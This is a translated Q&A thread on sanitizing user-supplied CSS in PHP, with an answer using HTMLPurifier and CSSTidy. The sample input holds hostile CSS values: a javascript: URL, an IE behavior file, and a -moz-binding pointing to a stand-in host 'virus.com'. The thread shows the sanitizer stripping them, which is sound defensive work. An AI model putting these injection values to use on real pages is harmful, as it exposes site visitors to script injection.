Дезинфицировать пользовательский CSS в PHP - PullRequest
17 голосов
/ 14 июля 2010

Я хочу разрешить пользователям использовать свои собственные таблицы стилей для своих профилей на моем форуме, но я боюсь возможных уязвимостей безопасности. У кого-нибудь есть советы по дезинфекции CSS?

Основной процесс: пользователь вводит CSS в форму -> Сохранить в БД -> Вывести как встроенный CSS

Ответы [ 3 ]

19 голосов
/ 06 марта 2011

HTMLPurifier с CSSTidy делает то, что вы ищете.

HTMLPurifier в первую очередь предназначен для очистки HTML, но также имеет возможность извлекать блоки стилей с помощью CSSTidy.

В документации по HTMLPurifier есть пример (но, увы, я использовал две ссылки на пост.)

Вот еще один:

require_once './htmlpurifier/library/HTMLPurifier.auto.php';
require_once './csstidy/class.csstidy.php';

// define some css
$input_css = "
    body {
        margin: 0px;
        padding: 0px;
        /* JS injection */
        background-image: url(javascript:alert('Injected'));
    }
    a {
        color: #ccc;
        text-decoration: none;
        /* dangerous proprietary IE attribute */
        behavior:url(hilite.htc);
        /* dangerous proprietary FF attribute */
        -moz-binding: url('http://virus.com/htmlBindings.xml');
    }
    .banner {
        /* absolute position can be used for phishing */
        position: absolute;
        top: 0px;
        left: 0px;
    }
";

// Create a new configuration object
$config = HTMLPurifier_Config::createDefault();
$config->set('Filter.ExtractStyleBlocks', TRUE);

// Create a new purifier instance
$purifier = new HTMLPurifier($config);

// Turn off strict warnings (CSSTidy throws some warnings on PHP 5.2+)
$level = error_reporting(E_ALL & ~E_STRICT);

// Wrap our CSS in style tags and pass to purifier. 
// we're not actually interested in the html response though
$html = $purifier->purify('<style>'.$input_css.'</style>');

// Revert error reporting
error_reporting($level);

// The "style" blocks are stored seperately
$output_css = $purifier->context->get('StyleBlocks');

// Get the first style block
echo $output_css[0];

И вывод:

body {
    margin:0;
    padding:0;
}

a {
    color:#ccc;
    text-decoration:none;
}

.banner {
}
2 голосов
/ 14 июля 2010

Определите классы самостоятельно и создайте графический интерфейс для применения цвета и других свойств к каждому классу, используйте тот же подход, который применяет Twitter для этого.

альтернативный текст http://grab.by/grabs/3217158e9c48538eb127fb1678dab6ae.png

Конечно, это будет работать, только если ваш макет исправлен и определен администратором, а не пользователем.

0 голосов
/ 14 июля 2010

Я не понимаю, как это может создать уязвимости безопасности, если профили не используются совместно с другими пользователями.

Если они являются общими, могут появиться уязвимости CSRF (поскольку CSS может генерировать запросы GET длявключать изображения, шрифты, другие таблицы стилей и т. д.).Они также могут использовать content, чтобы обманом заставить пользователей щелкнуть мышью по некоторым местам, скрыть важные функции и т. Д. И, конечно же, вам потребуется экранировать <, > и, возможно, & для предотвращения XSS (еслиCSS встроен в HTML).

Что касается библиотек для очистки, я ничего не знаю (возможно, аккуратно).

...